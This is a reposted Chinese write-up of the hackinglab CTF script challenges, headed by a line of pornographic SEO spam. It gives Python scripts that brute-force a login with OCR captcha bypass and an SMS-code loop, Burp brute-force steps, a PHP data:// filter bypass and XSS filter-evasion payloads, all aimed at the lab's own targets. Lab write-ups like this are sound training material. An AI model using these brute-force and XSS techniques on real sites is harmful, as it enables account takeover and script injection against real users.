日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 编程资源 > 编程问答 >内容正文

编程问答

[hackinglab][CTF][脚本关][2020] hackinglab 脚本关 writeup

發布時間:2023/12/10 编程问答 31 豆豆
生活随笔 收集整理的這篇文章主要介紹了 [hackinglab][CTF][脚本关][2020] hackinglab 脚本关 writeup 小編覺得挺不錯的,現在分享給大家,幫大家做個參考.

腳本關 1 key又又找不到了
關鍵字:
知識點:
步驟:點擊提供的鏈接后,實際發生了兩次跳轉,key 在第一次跳轉的網頁中,key is : yougotit_script_now

腳本關 2 快速口算
關鍵字:
知識點:python基礎
1.python–正則表達式中(.)()(.?)以及re.S的認識

#-*-coding:gb2312-*- __author__ = 'fudandax' import re str = 'aabhh\nacbccd\na\nbbdffbgg' #一個'.'就是匹配\n(換行符)以外的任何字符 print(re.findall(r'a.b',str)) #一個'*'前面的字符出現0次或以上 print(re.findall(r'a*b',str)) #貪婪,匹配從.*前面為開始到后面為結束的所有內容。 print(re.findall(r'a.*b',str)) #非貪婪,遇到開始和結束就截取,因此截取多次符合的結果,中間沒有字符也會被截取 ??? print(re.findall(r'a.*?b',str)) #非貪婪,與上面是一樣的,只是與上面相比,多了一個括號,只保留括號中的內容 print(re.findall(r'a(.*?)b',str)) #re.S不會對\n進行中斷 print(re.findall(r'a(.*?)b',str,re.S)) #保留a,b中間的內容 print(re.findall(r'a(.+?)b',str)) print(re.findall(r'a(.+?)b',str)[0])

2.eval() 函數用來執行一個字符串表達式,并返回表達式的值。
3.
步驟:

import requests import reurl = 'http://lab1.xseclab.com/xss2_0d557e6d2a4ac08b749b61473a075be1/index.php's= requests.Session() r=s.get(url) r.encoding='utf-8' print(r.text) num=re.findall(re.compile(r'<br/>\s+(.*?)='),r.text)[0] #print(re.findall(re.compile(r'<br/>\s+(.*?)='),r.text)) #['6970*21290+48*(6970+21290)'] #print(re.findall(re.compile(r'<br/>\s+(.*?)='),r.text)[0]) #6970*21290+48*(6970+21290) result=eval(num)print(result) r=s.post(url,data={'v': eval(num)}) print (r.text)

腳本關3 這個題目是空的
關鍵字: null
步驟: null

腳本關 怎么就是不彈出key呢?
關鍵字:js
知識點:代碼審計。發現alert(),prompt()和write()函數都被新函數覆蓋掉了。

步驟:
1.f12,查看源代碼,變量a其實是一個匿名函數,而且js里面也禁用了一些常用的彈出對話框的函數,由于js是基于客戶端瀏覽器的
2.打開來新的頁面 f12 控制臺 粘貼a里面的內容

slakfjteslkjsd

腳本關 5 逗逼驗證碼第一期
關鍵字:burp 爆破 重放
知識點:
步驟:
返回pwd error。重放,返回的還是 pwd error。由此可知驗證碼失效
1.burp 抓獲 獲得pwd error 的錯誤

2.右鍵send to intruder,設置相關參數,attack (可能出現Payload set 1: Invalid number settings)


3.得到密碼,repeater重修改密碼,go一下得到flag

PS:Payload set 1: Invalid number settings這是一個軟件bug

如果點擊start attrack 后出現 Payload set 1: Invalid number settings 的提示,先點hex 后點 decimal 再開始start attrack,需要手動讓它刷新。

腳本關 6 逗比驗證碼第二期
關鍵字:burp
知識點:
步驟:
1.訪問通關地址,輸入任意的4位數字進行登錄,返回pwd error,重放,返回的是vcode error。可知驗證碼驗證一次即失效了


2.嘗試刪除vcode參數的值,重放,返回pwd error。

3.爆破得到pwd= 1228,返回修改得到key : LJLJL789ss33fasvxcvsdf#@sd

腳本關 7 逗比的驗證碼第三期(SESSION)
關鍵字:重放 session burp
知識點:驗證碼發布的流程

  • 顯示表單
  • 顯示驗證碼(調用生成驗證碼的程序),將驗證碼加密后放進 session 或者 cookie
  • 用戶提交表單
  • 核對驗證碼無誤、數據合法后寫入數據庫完成
    用戶如果再發布一條,正常情況下,會再次訪問表單頁面,驗證碼圖片被動更新, session 和 cookie 也就跟著變了
    但是灌水機操作不一定非要使用表單頁面,它可以直接模擬 post 向服務端程序發送數據,這樣驗證碼程序沒有被調用,當然 session 和 cookie 存儲的加密驗證碼就是上次的值,也就沒有更新,這樣以后無限次的通過post直接發送的數據,而不考慮驗證碼,驗證碼形同虛設!
    所以,在核對驗證碼后先將 session 和 cookie 的值清空,然后做數據合法性判斷,然后入庫!這樣,一個漏洞就被補上了!
    步驟: 同第六題
  • 腳本關 8微笑一下就能過關了
    關鍵字:php
    知識點:
    步驟:
    http://lab1.xseclab.com/base13_ead1b12e47ec7cc5390303831b779d47/?.=data://text/plain;charset=unicode,(●’?’●)

    腳本關 9逗比的手機驗證碼
    關鍵字:
    知識點:
    步驟:
    1.查看源碼

    http://lab1.xseclab.com/base13_ead1b12e47ec7cc5390303831b779d47/index.php?view-source
    2.分析源碼 考PHP偽協議

    1.必須對"^_^"賦值 2."^_^"的值不能有 . % [0-9] http https ftp telnet 這些東西 3.$_SERVER['QUERY_STRING'],"^_^=(輸入的值)"這個字符串不能有 _ 這個字符 4.滿足$smile!=0 5.file_exists ($_GET['^_^'])必須為0.也就是$_GET['^_^']此文件不存在 6."$smile"必須等于"(●'?'●)".也就是file_get_contents($_GET['^_^'])必須為"(●'?'●)"

    仔細分析可以發現,第3點與第1點矛盾了

    既要對"_“賦值,又得想辦法去掉”_“中的”_"

    那么可以采用Url編碼變為"%5f".這樣第3點就滿足了.所以我們輸入就應該為"%5f"

    繼續分析第2點,這個地方把 http https ftp telnet 這些給過濾了

    而第6點又要通過file_get_contents()取出$_GET[’_’]里的值.

    根據第5點,$_GET[’_’]又必須不存在

    所以$_GET[’_’]只能是字符串"(●’?’●)",不可能是文件名

    那么file_get_contents()里的參數應該是啥呢,查了一下,發現data://完美符合.所以我們輸入就應該為

    "^%5f^=data:,(●'?'●)"

    3.打開鏈接 獲取flag

    http://lab1.xseclab.com/base13_ead1b12e47ec7cc5390303831b779d47/index.php?%5f=data:,(●’?’●)

    參考鏈接:https://blog.csdn.net/qq_26090065/article/details/82503651

    腳本關 9 逗比的手機驗證碼
    關鍵字:手機驗證碼處的邏輯漏洞
    步驟:

    腳本關 10 基情燃燒的歲月
    關鍵字:

    知識點:
    步驟:

    腳本關 11 驗證碼識別
    關鍵字:
    知識點:
    步驟:
    1.查看原碼 手機驗證碼需要

    2.寫腳本
    python 2.7

    # -*- coding: cp936 -*- import requests import image import pytesseract import reurl1='http://lab1.xseclab.com/vcode7_f7947d56f22133dbc85dda4f28530268/index.php' url2='http://lab1.xseclab.com/vcode7_f7947d56f22133dbc85dda4f28530268/mobi_vcode.php' url3='http://lab1.xseclab.com/vcode7_f7947d56f22133dbc85dda4f28530268/vcode.php' url4='http://lab1.xseclab.com/vcode7_f7947d56f22133dbc85dda4f28530268/login.php'#識別驗證碼的函數 def user_code():#獲取圖片驗證碼r = s.get(url3)with open('1.bmp', 'wb') as f:for chunk in r.iter_content(chunk_size=1024):if chunk: f.write(chunk)f.flush()f.close()#識別圖片驗證碼im = pytesseract.image_to_string('1.bmp')im = im.replace(' ', '')#因為驗證碼識別不太準確,需要用正則表達式判斷一下if re.match('[0-9]{4}',im) :return imelse :return user_code()s=requests.session() #先給手機發送驗證碼,不然會出現“驗證碼還沒發呢” r=s.post(url2,{'getcode':1,'mobi':13388886666})#爆破手機驗證碼 for code in range(100,1000):hhh=user_code()print hhh,codedata={'username':13388886666,'mobi_code':code,'user_code':hhh,'Login':'submit'}r=s.post(url4,data=data)print r.content#得到flag就停止if 'error' not in r.content :break

    python 3

    #!/usr/bin/env python3# Author: renzongxianimport pytesseractfrom PIL import Imageimport requestsimport oscur_path = os.getcwd()vcode_path = os.path.join(cur_path, 'vcode.png')header = {'Cookie': 'PHPSESSID=$Your Value'}def vcode():# 驗證碼識別函數pic_url = 'http://lab1.xseclab.com/vcode7_f7947d56f22133dbc85dda4f28530268/vcode.php'r = requests.get(pic_url, headers=header, timeout=10)with open(vcode_path, 'wb') as pic:pic.write(r.content)im = pytesseract.image_to_string(Image.open(vcode_path))im = im.replace(' ', '')if im != '':return imelse:return vcode()url = 'http://lab1.xseclab.com/vcode7_f7947d56f22133dbc85dda4f28530268/login.php'for i in range(100, 1000):code = vcode()data = {'username': '13388886666', 'mobi_code': str(i), 'user_code': code}r = requests.post(url, data=data, headers=header, timeout=10)response = r.content.decode('utf-8')if 'user_code or mobi_code error' in response:print('trying ' + str(i))else:print('the mobi_code is ' + str(i))print(response)break

    3.運行得到key is 133dbc85dda4aa**)

    腳本關 12 XSS基礎關
    關鍵字:XSS
    步驟:
    1.F12查看網頁源代碼

    2.看到xss,打開文件,就是輸入alert(HackingLab)
    http://lab1.xseclab.com//xssjs/xss_check.php

    3.輸入

    <script>alert(HackingLab)</script>

    腳本關 13 XSS基礎2:簡單繞過
    關鍵字:XSS
    步驟:
    1.上一題的 payload 不能用了,會提示檢測到 ,換一種方式
    2.輸入<img src=# οnerrοr=alert(HackingLab) />

    成功彈窗,并得到key is: xss2test2you

    腳本關 14 XSS 基礎3:檢測與構造
    關鍵字:XSS
    步驟:
    過濾了各種關鍵字以及<>,但是沒有過濾’,這里構造’οnmοuseenter=alert(HackingLab)>,但是發現依然不可以,忽然發現用當value的值后是alert時,后邊不會被過濾,所以構造alert’οnmοuseenter=alert(HackingLab)> ,因為onmouseenter 事件在鼠標指針移動到元素上時才觸發,所以當我們把鼠標放在下面的框,即可得到key

    腳本關 15 Principle很重要的XSS
    關鍵字:xss
    步驟:
    1.思路 不斷嘗試 觀察過濾情況 得到括號情況
    javascript:alert(1) 被屏蔽

    <>括號過濾情況為:
    <被過濾(此處過濾指被刪除) >正常
    但是當兩個符號一起出現時會被全部刪除,包括中間的內容
    這里就是個可以利用的繞過方式了
    2. 嘗試繞過 javascript:alert(1)
    1.結果卻被屏蔽,有以下兩種情況:
    2.1后端代碼是先匹配刪除掉括號再進行的關鍵詞查找
    2.2alter被屏蔽
    2.測試下第二個情況

    3.其他情況

    ' onmouseover=al<c>ert(HackingLab)>

    參考:https://blog.csdn.net/Jacob12774/article/details/84778322

    參考鏈接:https://www.cnblogs.com/renzongxian/p/5618631.html
    參考鏈接:https://blog.csdn.net/qq_36119192/article/details/102719130

    總結

    以上是生活随笔為你收集整理的[hackinglab][CTF][脚本关][2020] hackinglab 脚本关 writeup的全部內容,希望文章能夠幫你解決所遇到的問題。

    如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。